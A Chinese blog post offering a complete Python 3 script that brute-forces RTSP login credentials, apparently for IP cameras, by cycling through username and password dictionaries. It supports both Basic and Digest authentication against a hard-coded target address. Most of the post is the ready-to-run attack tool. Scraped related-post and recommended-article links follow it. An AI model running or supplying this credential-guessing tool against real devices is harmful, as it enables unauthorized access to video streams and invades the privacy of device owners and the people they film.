一、说明

hydra是说已实现了rtsp的爆力破解,但是使用时发现字典中明明已包含正确的用户名密码hydra却还没检测出来;

拦截数据包查看,感觉hydra只是尝试去匿名访问,并没有发送用户名密码去验证,所以自己写了个脚本。

二、脚本代码

rtsp有Basic和Digest两种验证方式,这里默认使用‘Basic’,如果想用‘Digest’方式将代码中的config_dict['brute_force_method']修改为‘Digest’

注意得自己在脚本的同目录下,放好“username.txt”(一行为一个用户名的形式)和"password.txt"(一行为一个密码的形式)两个字典文件

import socket
import hashlib
import base64 #define variables we need
global config_dict
config_dict = {
"server_ip": "10.10.6.94",
"server_port": 554,
"server_path": "/chID=8&streamType=main",
"user_agent": "RTSP Client",
"buffer_len": 1024,
"username_file": "username.txt",
"password_file": "password.txt",
"brute_force_method": 'Basic'
} def gen_base_method_header(auth_64):
global config_dict
#build the prefix of msg to send
str_base_method_header = 'DESCRIBE rtsp://'+config_dict["server_ip"]+':'+str(config_dict["server_port"])+config_dict["server_path"] + ' RTSP/1.0\r\n'
str_base_method_header += 'CSeq: 4\r\n'
str_base_method_header += 'User-Agent: '+config_dict["user_agent"]+'\r\n'
str_base_method_header += 'Accept: application/sdp\r\n'
str_base_method_header += 'Authorization: Basic '+auth_64 + ' \r\n'
str_base_method_header += '\r\n'
return str_base_method_header def base_method_brute_force(socket_send,username,password):
global config_dict
# use base64 to encode username and password
auth_64 = base64.b64encode((username + ":" + password).encode("utf-8")).decode()
# try to auth server
str_base_method_header = gen_base_method_header(auth_64)
socket_send.send(str_base_method_header.encode())
msg_recv = socket_send.recv(config_dict["buffer_len"]).decode()
# if the server response '200 OK' It means the username and password pair is right
if '200 OK' in msg_recv:
print("found key -- " + username + ":" + password) def gen_digest_describe_header():
global config_dict
str_digest_describe_header = 'DESCRIBE rtsp://'+config_dict["server_ip"]+':'+str(config_dict["server_port"])+config_dict["server_path"] + ' RTSP/1.0\r\n'
str_digest_describe_header += 'CSeq: 4\r\n'
str_digest_describe_header += 'User-Agent: '+config_dict["user_agent"]+'\r\n'
str_digest_describe_header += 'Accept: application/sdp\r\n'
str_digest_describe_header += '\r\n'
return str_digest_describe_header def gen_response_value(url,username,password,realm,nonce):
global config_dict
frist_pre_md5_value = hashlib.md5((username + ':' + realm + ':' + password).encode()).hexdigest()
first_post_md5_value = hashlib.md5(('DESCRIBE:' + url).encode()).hexdigest()
response_value = hashlib.md5((frist_pre_md5_value + ':' + nonce + ':' + first_post_md5_value).encode()).hexdigest()
return response_value def gen_digest_describe_auth_header(username,password,realm_value,nonce_value):
global config_dict
url = 'rtsp://' + config_dict['server_ip'] + ':' + str(config_dict['server_port']) + config_dict['server_path']
response_value = gen_response_value(url, username, password,realm_value, nonce_value)
str_describe_auth_header = 'DESCRIBE rtsp://' + config_dict['server_ip'] + ':' + str(config_dict['server_port']) + \
config_dict['server_path'] + ' RTSP/1.0\r\n'
str_describe_auth_header += 'CSeq: 5\r\n'
str_describe_auth_header += 'Authorization: Digest username="' + username + '", realm="' + realm_value + '", nonce="' + nonce_value + '", uri="' + url + '", response="' + response_value + '"\r\n'
str_describe_auth_header += 'User-Agent: ' + config_dict['user_agent'] + '\r\n'
str_describe_auth_header += 'Accept: application/sdp\r\n'
str_describe_auth_header += '\r\n'
return str_describe_auth_header def digest_method_brute_force(socket_send,username,password,realm_value,nonce_value):
global config_dict
str_digest_describe_auth_header = gen_digest_describe_auth_header(username,password,realm_value,nonce_value)
socket_send.send(str_digest_describe_auth_header.encode())
msg_recv = socket_send.recv(config_dict['buffer_len']).decode()
if '200 OK' in msg_recv:
print("found key -- " + username + ":" + password) #create socket to server
socket_send = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket_send.connect((config_dict["server_ip"],config_dict["server_port"])) #decide use what method to brute force
if config_dict['brute_force_method'] == 'Basic':
print('now use basic method to brute force')
with open(config_dict["username_file"],"r") as usernames:
for username in usernames:
username = username.strip("\n")
with open(config_dict["password_file"],"r") as passwords:
for password in passwords:
password = password.strip("\n")
base_method_brute_force(socket_send, username, password)
else:
print('now use digest method to brute force')
with open(config_dict["username_file"], "r") as usernames:
for username in usernames:
username = username.strip("\n")
with open(config_dict["password_file"], "r") as passwords:
for password in passwords:
password = password.strip("\n")
str_digest_describe_header = gen_digest_describe_header()
socket_send.send(str_digest_describe_header.encode())
msg_recv = socket_send.recv(config_dict['buffer_len']).decode()
realm_pos = msg_recv.find('realm')
realm_value_begin_pos = msg_recv.find('"',realm_pos)+1
realm_value_end_pos = msg_recv.find('"',realm_pos+8)
realm_value = msg_recv[realm_value_begin_pos:realm_value_end_pos]
nonce_pos = msg_recv.find('nonce')
nonce_value_begin_pos = msg_recv.find('"',nonce_pos)+1
nonce_value_end_pos = msg_recv.find('"',nonce_pos+8)
nonce_value = msg_recv[nonce_value_begin_pos:nonce_value_end_pos]
digest_method_brute_force(socket_send, username, password,realm_value,nonce_value)
socket_send.close()

使用Basic方式,运行结果如下:

使用nonce方式,运行结果如下:

参考:

https://www.cnblogs.com/lidabo/p/6472982.html

https://www.cnblogs.com/MikeZhang/archive/2012/10/29/rtspTcpClient_DSS_20121029.html

python3爆力破解rtsp脚本的更多相关文章

  1. contos防爆力破解密码

    最近看了一篇文章ssh的爆力破解所以自己就做了一下防爆力破解denyhost 下载denyhost的软件包并上传的服务器下载地址https://sourceforge.net/projects/den ...

  2. python 暴力破解密码脚本

    python 暴力破解密码脚本 以下,仅为个人测试代码,环境也是测试环境,暴力破解原理都是一样的, 假设要暴力破解登陆网站www.a.com 用户 testUser的密码, 首先,该网站登陆的验证要支 ...

  3. zip密码破解小脚本

    zip密码破解小脚本 博主: 逍遥子 发布时间:2018 年 05 月 31 日 2745次浏览 1 条评论 1074字数 分类: kali 专栏 首页 正文 分享到:    文件源码 import ...

  4. python3实现的rtsp客户端脚本

    一.说明 此客户端使用python3编写 此客户端实现RTSP的OPTIONS, DESCRIBE, SETUP , PLAY, GET_PARAMETER,TEARDOWN方法,未实现ANNOUNC ...

  5. ubuntu python3和python2切换脚本

    最近在ubuntu上开发较多,有些工具只能在python2运行,而开发又是在python3上做的开发,所以写个脚本方便在python2和python3之间切换. 切换成python2的文件usepy2 ...

  6. 基于python3的手机号生成脚本

    今天利用业余,自己突发想法来写个手机号码生成的脚本,其实自己用的方法很简单,想必肯定又不少人写的比我的好,我只是自己闲来无聊搞一下, #作者:雷子 #qq:952943386 #日期:2016年7月1 ...

  7. Python3设置在shell脚本中自动补全功能的方法

    本篇博客将会简短的介绍,如何在ubuntu中设置python自动补全功能. 需求:由于python中的内建函数较多,我们在百纳乘时,可能记不清函数的名字,同时自动补全功能,加快了我们开发的效率. 方法 ...

  8. perl6 单线程破解phpmyadmin脚本

    use HTTP::UserAgent; my $ua = HTTP::UserAgent.new; my $url = 'http://localhost/phpMyAdmin/index.php' ...

  9. Python3.5+selenium(11)脚本模块化&参数化

    mail126.py脚本如下 from selenium import webdriver from time import sleep from model1 import Login driver ...

随机推荐

  1. React创建组件的三种方式及其区别

    内容转载于http://www.cnblogs.com/wonyun/p/5930333.html React推出后,出于不同的原因先后出现三种定义react组件的方式,殊途同归; 具体的三种方式: ...

  2. Ubuntu18.04下搭建LAMP环境

    一.Apache2 web 服务器的安装 : 可以先更新一下服务器 1.sudo apt-get update             # 获取最新资源包 2.sudo apt-get upgrade ...

  3. Eclispe中编辑xml配置文件时不会提示也不能自动调整格式

    创建了一个xml文件后,发现编辑起来和原来的那些有所不同,不会提示补全.也不能自动调整格式???woc? 哈哈哈哈哈,“我最恨你像个石头一样” 后来发现是编辑器被改了!!! 右键xml文件然后open ...

  4. 大规模集群下的Hadoop NameNode

    本文我们来看看,如果大量客户端对NameNode发起高并发(比如每秒上千次)访问来修改元数据,此时NameNode该如何抗住? 二.问题源起 我们先来分析一下,高并发请求NameNode会遇到什么样的 ...

  5. Object_C 与JavaScript交互使用总结

    iOS开发中oc与js交互的方式有很多,我们可以使用流行的第三方库如:WebviewJavaScriptBridge和OVGap,这两个库都是让webview与JS建立起一条桥梁,我们也可以使用iOS ...

  6. QT新建工程编译出现"Moc'ing xxx.h..." 找不到文件或者error MSB6006: "cmd.exe" exited with code 3.

    产生这个问题的原因是QT的头文件路径包含出错: (1)如果没有添加如图所示的路径,则添加后重新编译: (2)如果已经添加了,则删除后,重新添加,在重新编译: (3)或者在QT Project Sett ...

  7. 在不安装oracle客户端的情况下,使用PLSQL

    一般在使用plsql时,会结合oracle客户端来使用,这样方便把数据库连接信息添加到plsql中.不过oracle客户端软件有点庞大,安装起来不太方便,所以在网上找到一种不依赖oracle客户端来使 ...

  8. 理解css相邻兄弟选择器

    今天在菜鸟教程看到了css组合选择符的“相邻兄弟选择器”,刚开始对这个概念有些不太理解,通过查阅资料并且经过一些试验总算有了些头绪. 原文解释是“相邻兄弟选择器(Adjacent sibling se ...

  9. 干货|基于 Spring Cloud 的微服务落地

    转自 微服务架构模式的核心在于如何识别服务的边界,设计出合理的微服务.但如果要将微服务架构运用到生产项目上,并且能够发挥该架构模式的重要作用,则需要微服务框架的支持. 在Java生态圈,目前使用较多的 ...

  10. Feign

    Feign简介 Feign是一个声明式的Web服务客户端,使用Feign可使得Web服务客户端的写入更加方便. 它具有可插拔注释支持,包括Feign注解和JAX-RS注解.Feign还支持可插拔编码器 ...